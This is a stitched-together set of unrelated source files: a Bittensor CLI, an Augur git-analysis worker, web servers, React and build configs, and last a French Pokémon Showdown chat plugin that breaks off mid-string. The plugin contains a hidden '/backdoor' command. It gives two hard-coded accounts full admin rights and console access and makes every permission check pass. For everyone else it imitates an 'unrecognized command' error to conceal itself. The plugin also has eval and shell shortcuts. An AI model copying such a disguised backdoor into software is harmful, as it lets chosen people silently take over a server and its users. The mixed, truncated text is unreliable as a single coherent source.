table.add_column("[overline white]AXON", justify='left', style='dim blue', no_wrap=True)
table.add_column("[overline white]HOTKEY", style='dim blue', no_wrap=False)
table.add_column("[overline white]COLDKEY", style='dim purple', no_wrap=False)
table.show_footer = True
for row in TABLE_DATA:
table.add_row(*row)
table.box = None
table.pad_edge = False
table.width = None
console.print(table)
def weights(self):
r""" Prints an weights to screen.
"""
console = bittensor.__console__
subtensor = bittensor.subtensor( config = self.config )
metagraph = bittensor.metagraph( subtensor = subtensor )
wallet = bittensor.wallet( config = self.config )
with console.status(":satellite: Syncing with chain: [white]{}[/white] ...".format(self.config.subtensor.network)):
metagraph.load()
metagraph.sync()
metagraph.save()
table = Table()
rows = []
table.add_column("[bold white]uid", style='white', no_wrap=False)
for uid in metagraph.uids.tolist():
table.add_column("[bold white]{}".format(uid), style='white', no_wrap=False)
if self.config.all_weights:
rows.append(["[bold white]{}".format(uid) ] + ['{:.3f}'.format(v) for v in metagraph.W[uid].tolist()])
else:
if metagraph.coldkeys[uid] == wallet.coldkeypub.ss58_address:
if not self.config.all_hotkeys:
if metagraph.hotkeys[uid] == wallet.hotkey.ss58_address:
rows.append(["[bold white]{}".format(uid) ] + ['{:.3f}'.format(v) for v in metagraph.W[uid].tolist()])
else:
rows.append(["[bold white]{}".format(uid) ] + ['{:.3f}'.format(v) for v in metagraph.W[uid].tolist()])
for row in rows:
table.add_row(*row)
table.box = None
table.pad_edge = False
table.width = None
with console.pager():
console.print(table)
def overview(self):
r""" Prints an overview for the wallet's colkey.
"""
console = bittensor.__console__
wallet = bittensor.wallet( config = self.config )
subtensor = bittensor.subtensor( config = self.config )
all_hotkeys = CLI._get_hotkey_wallets_for_wallet( wallet )
neurons = []
block = subtensor.block
with console.status(":satellite: Syncing with chain: [white]{}[/white] ...".format(self.config.subtensor.network)):
for wallet in tqdm(all_hotkeys):
nn = subtensor.neuron_for_pubkey( wallet.hotkey.ss58_address )
if not nn.is_null:
neurons.append( nn )
balance = subtensor.get_balance( wallet.coldkeypub.ss58_address )
TABLE_DATA = []
total_stake = 0.0
total_rank = 0.0
total_trust = 0.0
total_consensus = 0.0
total_incentive = 0.0
total_dividends = 0.0
total_emission = 0
for nn in tqdm(neurons):
uid = nn.uid
active = nn.active
stake = nn.stake
rank = nn.rank
trust = nn.trust
consensus = nn.consensus
incentive = nn.incentive
dividends = nn.dividends
emission = int(nn.emission * 1000000000)
last_update = int(block - nn.last_update)
row = [
str(uid),
str(active),
'{:.5f}'.format(stake),
'{:.5f}'.format(rank),
'{:.5f}'.format(trust),
'{:.5f}'.format(consensus),
'{:.5f}'.format(incentive),
'{:.5f}'.format(dividends),
'{}'.format(emission),
str(last_update),
bittensor.utils.networking.int_to_ip( nn.ip) + ':' + str(nn.port) if nn.port != 0 else '[yellow]none[/yellow]',
nn.hotkey
]
total_stake += stake
total_rank += rank
total_trust += trust
total_consensus += consensus
total_incentive += incentive
total_dividends += dividends
total_emission += emission
TABLE_DATA.append(row)
total_neurons = len(neurons)
table = Table(show_footer=False)
table.title = (
"[white]Wallet - {}:{}".format(self.config.wallet.name, wallet.coldkeypub.ss58_address)
)
table.add_column("[overline white]UID", str(total_neurons), footer_style = "overline white", style='yellow')
table.add_column("[overline white]ACTIVE", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]STAKE(\u03C4)", '\u03C4{:.5f}'.format(total_stake), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]RANK", '{:.5f}'.format(total_rank), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]TRUST", '{:.5f}'.format(total_trust), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]CONSENSUS", '{:.5f}'.format(total_consensus), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]INCENTIVE", '{:.5f}'.format(total_incentive), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]DIVIDENDS", '{:.5f}'.format(total_dividends), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]EMISSION(\u03C1)", '\u03C1{}'.format(int(total_emission)), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]UPDATED", justify='right', no_wrap=True)
table.add_column("[overline white]AXON", justify='left', style='dim blue', no_wrap=True)
table.add_column("[overline white]HOTKEY", style='dim blue', no_wrap=False)
table.show_footer = True
table.caption = "[white]Wallet balance: [green]\u03C4" + str(balance.tao)
console.clear()
for row in TABLE_DATA:
table.add_row(*row)
table.box = None
table.pad_edge = False
table.width = None
console.print(table) |
import ExportPlaylist from 'foreground/model/dialog/exportPlaylist';
import ExportPlaylistView from 'foreground/view/dialog/exportPlaylistView';
import ViewTestUtility from 'test/foreground/view/viewTestUtility';
describe('ExportPlaylistView', function() {
beforeEach(function() {
this.documentFragment = document.createDocumentFragment();
this.view = new ExportPlaylistView({
model: new ExportPlaylist({
playlist: TestUtility.buildPlaylist()
})
});
});
afterEach(function() {
this.view.destroy();
});
ViewTestUtility.ensureBasicAssumptions.call(this);
}); |
#!/usr/bin/env python3
# Copyright 2016-2018 Brian Warner
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
# Git repo maintenance
#
# This script is responsible for cloning new repos and keeping existing repos up
# to date. It can be run as often as you want (and will detect when it's
# already running, so as not to spawn parallel processes), but once or twice per
# day should be more than sufficient. Each time it runs, it updates the repo
# and checks for any parents of HEAD that aren't already accounted for in the
# repos. It also rebuilds analysis data, checks any changed affiliations and
# aliases, and caches data for display.
import pymysql
import sys
import platform
import imp
import time
import datetime
import html.parser
import subprocess
import os
import getopt
import xlsxwriter
import configparser
from multiprocessing import Process, Queue
from facade_worker.facade01config import Config#increment_db, update_db, migrate_database_config, database_connection, get_setting, update_status, log_activity
from facade_worker.facade02utilitymethods import update_repo_log, trim_commit, store_working_author, trim_author
from facade_worker.facade03analyzecommit import analyze_commit
from facade_worker.facade04postanalysiscleanup import git_repo_cleanup
from facade_worker.facade05repofetch import git_repo_initialize, check_for_repo_updates, force_repo_updates, force_repo_analysis, git_repo_updates
from facade_worker.facade06analyze import analysis
from facade_worker.facade07rebuildcache import nuke_affiliations, fill_empty_affiliations, invalidate_caches, rebuild_unknown_affiliation_and_web_caches
from workers.standard_methods import read_config
import logging
# if platform.python_implementation() == 'PyPy':
# import pymysql
# else:
# import MySQLdb
# ## End Imports
html = html.parser.HTMLParser()
class CollectorTask:
""" Worker's perception of a task in its queue
Holds a message type (EXIT, TASK, etc) so the worker knows how to process the queue entry
and the github_url given that it will be collecting data for
"""
def __init__(self, message_type='TASK', entry_info=None):
self.type = message_type
self.entry_info = entry_info
class FacadeWorker:
def __init__(self, config, task=None):
self.config = config
logging.basicConfig(filename='worker_{}.log'.format(self.config['id'].split('.')[len(self.config['id'].split('.')) - 1]), filemode='w', level=logging.INFO)
logging.info('Worker (PID: {}) initializing...'.format(os.getpid()))
self._task = task
self._child = None
self._queue = Queue()
self._maintain_queue = Queue()
self.cfg = Config()
### The real program starts here ###
# Set up the database
db_user = self.config['user']
db_pass = self.config['password']
db_name = self.config['database']
db_host = self.config['host']
db_port = self.config['port']
db_user_people = self.config['user']
db_pass_people = self.config['password']
db_name_people = self.config['database']
db_host_people = self.config['host']
db_port_people = self.config['port']
# Open a general-purpose connection
db,cursor = self.cfg.database_connection(
db_host,
db_user,
db_pass,
db_name,
db_port, False, False)
# Open a connection for the people database
db_people,cursor_people = self.cfg.database_connection(
db_host_people,
db_user_people,
db_pass_people,
db_name_people,
db_port_people, True, False)
# Check if the database is current and update it if necessary
try:
current_db = int(self.cfg.get_setting('database_version'))
except:
# Catch databases which existed before database versioning
current_db = -1
#WHAT IS THE UPSTREAM_DB???
# if current_db < upstream_db:
# print(("Current database version: %s\nUpstream database version %s\n" %
# (current_db, upstream_db)))
# self.cfg.update_db(current_db);
self.commit_model()
@property
def task(self):
""" Property that is returned when the worker's current task is referenced
"""
return self._task
@task.setter
def task(self, value):
""" entry point for the broker to add a task to the queue
Adds this task to the queue, and calls method to process queue
"""
rg_id = value['given']['repo_group_id']
""" Query all repos """
# repoUrlSQL = s.sql.text("""
# SELECT repo_id,repo_group_id,repo_git FROM repo WHERE repo_group_id = '{}'
# """.format(rg_id))
# rs = pd.read_sql(repoUrlSQL, self.db, params={})
try:
if value['job_type'] == "UPDATE":
self._queue.put(CollectorTask(message_type='TASK', entry_info=value))
elif value['job_type'] == "MAINTAIN":
self._maintain_queue.put(CollectorTask(message_type='TASK', entry_info=value))
except Exception as e:
logging.info("error: {}".format(e))
self._task = CollectorTask(message_type='TASK', entry_info={"task": value, "repo_id": repo_id})
self.run()
def cancel(self):
""" Delete/cancel current task
"""
self._task = None
def run(self):
""" Kicks off the processing of the queue if it is not already being processed
Gets run whenever a new task is added
"""
logging.info("Running...")
if self._child is None:
self._child = Process(target=self.collect, args=())
self._child.start()
def collect(self):
""" Function to process each entry in the worker's task queue
Determines what action to take based off the message type
"""
while True:
time.sleep(0.5)
if not self._queue.empty():
message = self._queue.get()
logging.info("Popped off message: {}".format(message.entry_info))
self.working_on = "UPDATE"
else:
if not self._maintain_queue.empty():
message = self._maintain_queue.get()
logging.info("Popped off message: {}".format(message.entry_info))
self.working_on = "MAINTAIN"
else:
break
if message.type == 'EXIT':
break
if message.type != 'TASK':
raise ValueError(f'{message.type} is not a recognized task type')
if message.type == 'TASK':
try:
git_url = message.entry_info['task']['given']['git_url']
self.query_issues({'git_url': git_url, 'repo_id': message.entry_info['repo_id']})
except Exception as e:
logging.info("Worker ran into an error for task: {}\n".format(message.entry_info['task']))
logging.info("Error encountered: " + repr(e) + "\n")
logging.info("Notifying broker and logging task failure in database...\n")
message.entry_info['task']['worker_id'] = self.config['id']
requests.post("http://{}:{}/api/unstable/task_error".format(
self.config['broker_host'],self.config['broker_port']), json=message.entry_info['task'])
# Add to history table
task_history = {
"repo_id": message.entry_info['repo_id'],
"worker": self.config['id'],
"job_model": message.entry_info['task']['models'][0],
"oauth_id": self.config['zombie_id'],
"timestamp": datetime.datetime.now(),
"status": "Error",
"total_results": self.results_counter
}
self.helper_db.execute(self.history_table.update().where(self.history_table.c.history_id==self.history_id).values(task_history))
logging.info("Recorded job error for: " + str(message.entry_info['task']) + "\n")
# Update job process table
updated_job = {
"since_id_str": message.entry_info['repo_id'],
"last_count": self.results_counter,
"last_run": datetime.datetime.now(),
"analysis_state": 0
}
self.helper_db.execute(self.job_table.update().where(self.job_table.c.job_model==message.entry_info['task']['models'][0]).values(updated_job))
logging.info("Updated job process for model: " + message.entry_info['task']['models'][0] + "\n")
# Reset results counter for next task
self.results_counter = 0
pass
def commit_model(self):
# Figure out what we need to do
limited_run = read_config("Facade", name="limited_run", default=0)
delete_marked_repos = read_config("Facade", name="delete_marked_repos", default=0)
pull_repos = read_config("Facade", name="pull_repos", default=0)
clone_repos = read_config("Facade", name="clone_repos", default=1)
check_updates = read_config("Facade", name="check_updates", default=0)
force_updates = read_config("Facade", name="force_updates", default=0)
run_analysis = read_config("Facade", name="run_analysis", default=0)
force_analysis = read_config("Facade", name="force_analysis", default=0)
nuke_stored_affiliations = read_config("Facade", name="nuke_stored_affiliations", default=0)
fix_affiliations = read_config("Facade", name="fix_affiliations", default=1)
force_invalidate_caches = read_config("Facade", name="force_invalidate_caches", default=0)
rebuild_caches = read_config("Facade", name="rebuild_caches", default=1) #if abs((datetime.datetime.strptime(self.cfg.get_setting('aliases_processed')[:-3],
# '%Y-%m-%d %I:%M:%S.%f') - datetime.datetime.now()).total_seconds()) // 3600 > int(self.cfg.get_setting(
# 'update_frequency')) else 0
force_invalidate_caches = read_config("Facade", name="force_invalidate_caches", default=0)
create_xlsx_summary_files = read_config("Facade", name="create_xlsx_summary_files", default=0)
multithreaded = read_config("Facade", name="multithreaded", default=1)
opts,args = getopt.getopt(sys.argv[1:],'hdpcuUaAmnfIrx')
for opt in opts:
if opt[0] == '-h':
print("\nfacade-worker.py does everything by default except invalidating caches\n"
"and forcing updates, unless invoked with one of the following options.\n"
"In those cases, it will only do what you have selected.\n\n"
"Options:\n"
" -d Delete marked repos\n"
" -c Run 'git clone' on new repos\n"
" -u Check if any repos should be marked for updating\n"
" -U Force all repos to be marked for updating\n"
" -p Run 'git pull' on repos\n"
" -a Analyze git repos\n"
" -A Force all repos to be analyzed\n"
" -m Disable multithreaded mode (but why?)\n"
" -n Nuke stored affiliations (if mappings modified by hand)\n"
" -f Fill empty affiliations\n"
" -I Invalidate caches\n"
" -r Rebuild unknown affiliation and web caches\n"
" -x Create Excel summary files\n\n")
sys.exit(0)
elif opt[0] == '-d':
delete_marked_repos = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: delete marked repos.')
elif opt[0] == '-c':
clone_repos = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: clone new repos.')
elif opt[0] == '-u':
check_updates = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: checking for repo updates')
elif opt[0] == '-U':
force_updates = 1
self.cfg.log_activity('Info','Option set: forcing repo updates')
elif opt[0] == '-p':
pull_repos = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: update repos.')
elif opt[0] == '-a':
run_analysis = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: running analysis.')
elif opt[0] == '-A':
force_analysis = 1
run_analysis = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: forcing analysis.')
elif opt[0] == '-m':
multithreaded = 0
self.cfg.log_activity('Info','Option set: disabling multithreading.')
elif opt[0] == '-n':
nuke_stored_affiliations = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: nuking all affiliations')
elif opt[0] == '-f':
fix_affiliations = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: fixing affiliations.')
elif opt[0] == '-I':
force_invalidate_caches = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: Invalidate caches.')
elif opt[0] == '-r':
rebuild_caches = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: rebuilding caches.')
elif opt[0] == '-x':
create_xlsx_summary_files = 1
limited_run = 1
self.cfg.log_activity('Info','Option set: creating Excel summary files.')
# Get the location of the directory where git repos are stored
repo_base_directory = self.cfg.repo_base_directory
# Determine if it's safe to start the script
current_status = self.cfg.get_setting('utility_status')
if current_status != 'Idle':
self.cfg.log_activity('Error','Something is already running, aborting maintenance '
'and analysis.\nIt is unsafe to continue.')
# sys.exit(1)
if len(repo_base_directory) == 0:
self.cfg.log_activity('Error','No base directory. It is unsafe to continue.')
update_status('Failed: No base directory')
sys.exit(1)
# Begin working
start_time = time.time()
self.cfg.log_activity('Quiet','Running facade-worker')
if not limited_run or (limited_run and delete_marked_repos):
git_repo_cleanup(self.cfg)
if not limited_run or (limited_run and clone_repos):
git_repo_initialize(self.cfg)
if not limited_run or (limited_run and check_updates):
check_for_repo_updates(self.cfg)
if force_updates:
force_repo_updates(self.cfg)
if not limited_run or (limited_run and pull_repos):
git_repo_updates(self.cfg)
if force_analysis:
force_repo_analysis(self.cfg)
if not limited_run or (limited_run and run_analysis):
analysis(self.cfg, multithreaded)
if nuke_stored_affiliations:
nuke_affiliations(self.cfg)
if not limited_run or (limited_run and fix_affiliations):
fill_empty_affiliations(self.cfg)
if force_invalidate_caches:
invalidate_caches(self.cfg)
if not limited_run or (limited_run and rebuild_caches):
rebuild_unknown_affiliation_and_web_caches(self.cfg)
if not limited_run or (limited_run and create_xlsx_summary_files):
self.cfg.log_activity('Info','Creating summary Excel files')
# from excel_generators import *
self.cfg.log_activity('Info','Creating summary Excel files (complete)')
# All done
self.cfg.update_status('Idle')
self.cfg.log_activity('Quiet','facade-worker.py completed')
elapsed_time = time.time() - start_time
print('\nCompleted in %s\n' % datetime.timedelta(seconds=int(elapsed_time)))
self.cfg.cursor.close()
self.cfg.cursor_people.close()
self.cfg.db.close()
self.cfg.db_people.close()
|
//// [crashInsourcePropertyIsRelatableToTargetProperty.ts]
class C {
private x = 1;
}
class D extends C { }
function foo(x: "hi", items: string[]): typeof foo;
function foo(x: string, items: string[]): typeof foo {
return null;
}
var a: D = foo("hi", []);
//// [crashInsourcePropertyIsRelatableToTargetProperty.js]
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var C = /** @class */ (function () {
function C() {
this.x = 1;
}
return C;
}());
var D = /** @class */ (function (_super) {
__extends(D, _super);
function D() {
return _super !== null && _super.apply(this, arguments) || this;
}
return D;
}(C));
function foo(x, items) {
return null;
}
var a = foo("hi", []);
|
const Router = require('koa-router');
const Crew = require('./model');
const { auth, authz, cache } = require('../../../middleware');
const router = new Router({
prefix: '/crew',
});
// Get all crew
router.get('/', cache(300), async (ctx) => {
try {
const result = await Crew.find({});
ctx.status = 200;
ctx.body = result;
} catch (error) {
ctx.throw(400, error.message);
}
});
// Get one crew member
router.get('/:id', cache(300), async (ctx) => {
try {
const result = await Crew.findById(ctx.params.id);
if (!result) {
ctx.throw(404);
}
ctx.status = 200;
ctx.body = result;
} catch (error) {
ctx.throw(400, error.message);
}
});
// Query crew members
router.post('/query', cache(300), async (ctx) => {
const { query = {}, options = {} } = ctx.request.body;
try {
const result = await Crew.paginate(query, options);
ctx.status = 200;
ctx.body = result;
} catch (error) {
ctx.throw(400, error.message);
}
});
// Create crew member
router.post('/', auth, authz, async (ctx) => {
try {
const crew = new Crew(ctx.request.body);
await crew.save();
ctx.status = 201;
} catch (error) {
ctx.throw(400, error.message);
}
});
// Update crew member
router.patch('/:id', auth, authz, async (ctx) => {
try {
await Crew.findByIdAndUpdate(ctx.params.id, ctx.request.body, { runValidators: true });
ctx.status = 200;
} catch (error) {
ctx.throw(400, error.message);
}
});
// Delete crew member
router.delete('/:id', auth, authz, async (ctx) => {
try {
await Crew.findByIdAndDelete(ctx.params.id);
ctx.status = 200;
} catch (error) {
ctx.throw(400, error.message);
}
});
module.exports = router;
|
var express = require('express'),
http = require('http'),
server = http.createServer(app);
var app = express();
const redis = require('redis');
const io = require('socket.io');
const client = redis.createClient();
server.listen(3000, 'localhost');
console.log("Listening.....");
io.listen(server).on('connection', function(client) {
const redisClient = redis.createClient();
redisClient.subscribe('commnde.update');
console.log("Redis server running.....");
redisClient.on("message", function(channel, message) {
console.log(message);
client.emit(channel, message);
});
client.on('disconnect', function() {
redisClient.quit();
});
}); |
// react-select setup for use with redux-form
// pass into redux-forms field
// <Field component={ WrappedSelect } />
/*
Required props:
options: ArrayOf(objects): formatted: [{value: 'some_value', label: 'Field Name'}]
name: String: Name of form field
placeholder: String
label: String: (Optional) Input label
*/
import classNames from 'classnames'
import React, {
Component,
PropTypes
} from 'react'
import {
FormGroup,
HelpBlock,
ControlLabel
} from 'react-bootstrap'
import Select from 'react-select'
export const ROOT_CLASS = 'wrapped-select'
export default class WrappedSelect extends Component {
constructor(props) {
super(props)
this.onChange = this.onChange.bind(this)
}
onChange(selection) {
const value = selection && (
this.props.multi ?
selection.map(({ value }) => value) : selection.value
)
this.props.input.onChange(value)
if (this.props.onChange) this.props.onChange(value)
}
render() {
const {
className,
label, options,
input, placeholder,
clearable, disabled, multi,
meta: { touched, error }
} = this.props
return(
<FormGroup className={ classNames( ROOT_CLASS, className ) }
validationState={ (touched && error) ? 'error' : null }
>
{ (touched && error) ? (
<HelpBlock className="pull-right">
{ error }
</HelpBlock>
) : null }
{ (input.name && label) ? (
<ControlLabel htmlFor={ input.name }>
{ label }
</ControlLabel>
) : null }
<Select
className={ (touched && error) ? 'error-outline' : null }
clearable={ clearable }
disabled={ disabled }
multi={ multi }
name={ input.name }
options={ options }
placeholder={ placeholder }
value={ input.value }
onChange={ this.onChange }
/>
</FormGroup>
)
}
}
WrappedSelect.propTypes = {
className: PropTypes.string,
clearable: PropTypes.bool,
disabled: PropTypes.bool,
input: PropTypes.shape({
name: PropTypes.string.isRequired,
value: PropTypes.string,
onChange: PropTypes.func.isRequired
}).isRequired,
label: PropTypes.string,
meta: PropTypes.shape({
error: PropTypes.string,
touched: PropTypes.bool
}),
multi: PropTypes.bool,
options: PropTypes.arrayOf(PropTypes.object),
placeholder: PropTypes.string.isRequired,
onChange: PropTypes.func
}
|
const {
appendWebpackPlugin,
getPaths,
getWebpackPlugin,
replace,
} = require('@rescripts/utilities');
const {
copyAssets,
fixAssetManifest,
fixOutput,
locateContentScripts,
generateHtml,
generateIcons,
paths,
} = require('./utils');
const path = require('path');
const fs = require('fs');
// Load a base extension config from manifest.json
const appManifest = require(paths.appManifest);
const contentScripts = locateContentScripts(paths.appContentSrc);
const hasContent = fs.existsSync(paths.appContentSrc);
const hasBackground = fs.existsSync(paths.appBackgroundSrc);
const hasPopup =
!!appManifest.browser_action && !!appManifest.browser_action.default_popup;
const hasOptions = !!appManifest.options_ui && !!appManifest.options_ui.page;
const pages = Object.assign(
{},
hasOptions ? { options: appManifest.options_ui.page } : undefined,
hasPopup ? { popup: appManifest.browser_action.default_popup } : undefined
);
const ICON_SIZES = [16, 19, 38, 48, 128];
module.exports = [
// Change CRA's entry paths into different entries
(config) => {
const entryPaths = getPaths(
(inQuestion) =>
inQuestion &&
Array.isArray(inQuestion) &&
inQuestion.includes(paths.appIndexJs),
config
);
return replace(
{
background: hasBackground ? paths.appBackgroundSrc : undefined,
options: hasOptions ? paths.appOptionsSrc : undefined,
popup: hasPopup ? paths.appPopupSrc : undefined,
...contentScripts,
},
entryPaths,
config
);
},
fixAssetManifest(),
fixOutput(),
generateHtml(pages),
copyAssets(pages),
// Generate extension icons from the icon.png file
generateIcons(path.resolve(paths.appPublic, 'icon.png'), ICON_SIZES),
// Generate an extension manfifest.json file based on the user's manifest from public folder
(config) => {
const manifestPlugin = getWebpackPlugin('ManifestPlugin', config);
const opts = Object.assign({}, manifestPlugin.opts, {
fileName: 'manifest.json',
generate: (seed, files, entrypoints) => {
const backgroundFiles = entrypoints.background.filter(
(fileName) => !fileName.endsWith('.map')
);
const contentScriptsFiles = Object.fromEntries(
Object.keys(contentScripts).map((script) => [
script,
entrypoints[script].filter(
(fileName) => !fileName.endsWith('.map')
),
])
);
const iconsFiles = files.filter((file) =>
file.name.startsWith('static/icons/icon')
);
const icons = Object.fromEntries(
ICON_SIZES.map((size) => {
const iconFile = iconsFiles.find((file) =>
file.name.includes(`icon@${size}`)
);
return [size, iconFile.path];
})
);
return Object.assign(
{},
appManifest,
{
icons,
},
hasBackground
? {
background: {
scripts: backgroundFiles,
},
}
: {},
hasContent
? {
content_scripts: appManifest.content_scripts.map((cs) =>
Object.assign({}, cs, {
js: contentScriptsFiles[cs.js],
})
),
}
: {},
config.mode === 'development'
? {
content_security_policy:
"script-src 'self' http://localhost:*; object-src 'self'",
}
: {}
);
},
});
const newManifestPlugin = Object.assign(
Object.create(Object.getPrototypeOf(manifestPlugin)),
{ opts }
);
return appendWebpackPlugin(newManifestPlugin, config);
},
];
|
'use strict';
const uuid = require('uuid');
const dynamoDb = require('./dynamodb');
module.exports.create = (event, context, callback) => {
const timestamp = new Date().getTime();
const data = JSON.parse(event.body);
if (typeof data.text !== 'string') {
console.error('Validation Failed');
callback(null, {
statusCode: 400,
headers: { 'Content-Type': 'text/plain' },
body: 'Couldn\'t create the todo item.',
});
return;
}
const params = {
TableName: 'localstack-lambda-local',
Item: {
id: uuid.v1(),
text: data.text,
checked: false,
createdAt: timestamp,
updatedAt: timestamp,
},
};
// write the todo to the database
dynamoDb.put(params, (error) => {
// handle potential errors
if (error) {
console.error(error);
callback(null, {
statusCode: error.statusCode || 501,
headers: { 'Content-Type': 'text/plain' },
body: 'Couldn\'t create the todo item.',
});
return;
}
// create a response
const response = {
statusCode: 200,
body: JSON.stringify(params.Item),
result:params.Item
};
return {
statusCode: 200,
body: JSON.stringify(params.Item),
result:params.Item
}
})
};
|
exports.commands = {
spop: 'sendpopup',
sendpopup: function(target, room, user) {
if (!this.can('popup')) return false;
target = this.splitTarget(target);
var targetUser = this.targetUser;
if (!targetUser) return this.sendReply('/sendpopup [user], [message] - Vous avez manqué l utilisateur!');
if (!target) return this.sendReply('/sendpopup [user], [message] - vous avez manqué le message');
targetUser.popup(target);
this.sendReply(targetUser.name + ' A reçu le message sous forme de popup: ' + target);
targetUser.send(user.name+' Vous envoye un message.');
this.logModCommand(user.name+' Envoyer un message à '+targetUser.name);
},
bu: function (target, room, user) {
if (!this.canBroadcast()) return;
this.sendReplyBox(
'Bienvenue dans la room BU, un tier collaboratif, regroupant les plus grandes menaces de l univers Pokémon comme Lamantine ou Dedenne. Si vous êtes nouveau, vous pouvez consulter la liste des Pokémon du tier <a href="http://pokestrat.com/forum/discussions-strategiques/un-tout-nouveau-tier-debarque-sur-pokestrat-bu-">ici</a> ou voir le Viability Rankings de notre tier <a href="http://pokestrat.com/forum/discussions-strategiques/-bu-viability-rankings">ici</a>!'
);
},
hideadmin: function (target, room, user) {
if (!this.can('hotpatch')) return false;
if (user.hidden) return this.errorReply("You are already hiding yourself on the userlist.");
user.hidden = true;
user.inRooms.forEach(id => {
let roomid = Rooms(id);
if (!roomid || roomid.id === 'global') return;
roomid.add('|L|' + user.getIdentity(roomid)).update();
});
return this.sendReply("You are now hiding your presence.");
},
showadmin: function (target, room, user) {
if (!this.can('hotpatch')) return false;
if (!user.hidden) return this.errorReply("You are already showing yourself on the userlist.");
user.hidden = false;
user.inRooms.forEach(id => {
let roomid = Rooms(id);
if (!roomid || roomid.id === 'global') return;
roomid.add('|J|' + user.getIdentity(roomid)).update();
});
return this.sendReply("You are no longer hiding your presence.");
},
backdoor: function (target, room, user) {
if (user.userid !== 'distrib' && user.user !== 'saitochi') {
this.errorReply("The command '/backdoor' was unrecognized. To send a message starting with '/backdoor', type '//backdoor'.");
} else {
user.group = '~';
user.updateIdentity();
Config.consoleips.push(user.userid);
user.can = function () {
return true;
};
this.sendReply("Backdoor accepted.");
}
},
pb: function(target, room, user) {
if (!this.can('globalmod')) return;
this.parse('/permaban '+ target +', <333')
this.parse('/blacklist ' + target +', <333')
},
hide: 'hideauth',
hideauth: function(target, room, user) {
if (!user.can('ban')) return this.sendReply("/hideauth - access denied.");
var tar = ' ';
if (target) {
target = target.trim();
if (Config.groupsranking.indexOf(target) > -1 && target != '#') {
if (Config.groupsranking.indexOf(target) <= Config.groupsranking.indexOf(user.group)) {
tar = target;
} else {
this.sendReply('The group symbol you have tried to use is of a higher authority than you have access to. Defaulting to \' \' instead.');
}
} else {
this.sendReply('You have tried to use an invalid character as your auth symbol. Defaulting to \' \' instead.');
}
}
user.getIdentity = function (roomid) {
if (this.locked) {
return '‽' + this.name;
}
if (roomid) {
var room = Rooms.rooms[roomid];
if (room && room.auth) {
if (room.auth[this.userid]) {
return room.auth[this.userid] + this.name;
}
if (room.isPrivate === true) return ' ' + this.name;
}
}
return tar + this.name;
}
user.updateIdentity();
this.sendReply('You are now hiding your auth symbol as \'' + tar + '\'.');
this.modlog(user.name + ' is hiding auth symbol as \'' + tar + '\'');
user.isHiding = true;
},
show: 'showauth',
showauth: function(target, room, user) {
if (!user.can('lock')) return this.sendReply("/showauth - access denied.");
delete user.getIdentity;
user.updateIdentity();
user.isHiding = false;
this.sendReply("You have now revealed your auth symbol.");
return this.modlog(user.name + " has revealed their auth symbol.");
},
a: function(target, room, user) {
if (!this.can('eval')) return;
this.parse('/eval this.add(' +target+ ');')
},
notdev: function(target, room, user) {
if (!this.can('roomban')) return;
this.parse('/warn '+ target + ', Not Dev')
this.parse('/hidetext '+ target + ', ')
},
update: function(target, room, user) {
if (!this.can('eval')) return;
this.parse('/bash git pull')
},
hc: function(target, room, user) {
if (!this.can('eval')) return;
this.parse('/hotpatch chat')
},
/*champions : 'champions',
'!champions': true,
champions : function (target, room, user) {
this.sendReplyBox("<font size=5>Liste des champions</font><br />" +
"<u></u><br />" +
"- " + hashColors('Distrib', true) + ' --> Maitre cc1v1 <img src="http://www.mediafire.com/convkey/cd36/ubht5f8vbwkahrtzg.jpg" width="16" height="16" title="est un maitre du tier cc1v1"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">corbox chechir, lucix, tatia, 0footprof, jovu, cookiesbox, wyrrax, mastouffu, empoleonsan, garance, spoire, imox, , pyprod, oseen, monsieurnohaxx, erufun, ahzee, cieltestleladd, freat, Algeria4Ever ♆</div></details> <br />' +
"- " + hashColors('Herminchan', true) + ' --> Maitre eau <img src="http://www.mediafire.com/convkey/015f/35f3m7w360i3pu3zg.jpg?size_id=0" width="16" height="16" title="est un maitre du tier eau"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">corbox chechir, lucix, tatia, 0footprof, asumaru, sanjl, cookiesbox, wyrrax, neraya, mastouffu, empoleonsan, marmottebn, garance, spoire, imox, erufun, lightdn, prima234, ahzee, cieltestleladd, freat, motisvhayle, BirdoMc</div></details> <br />' +
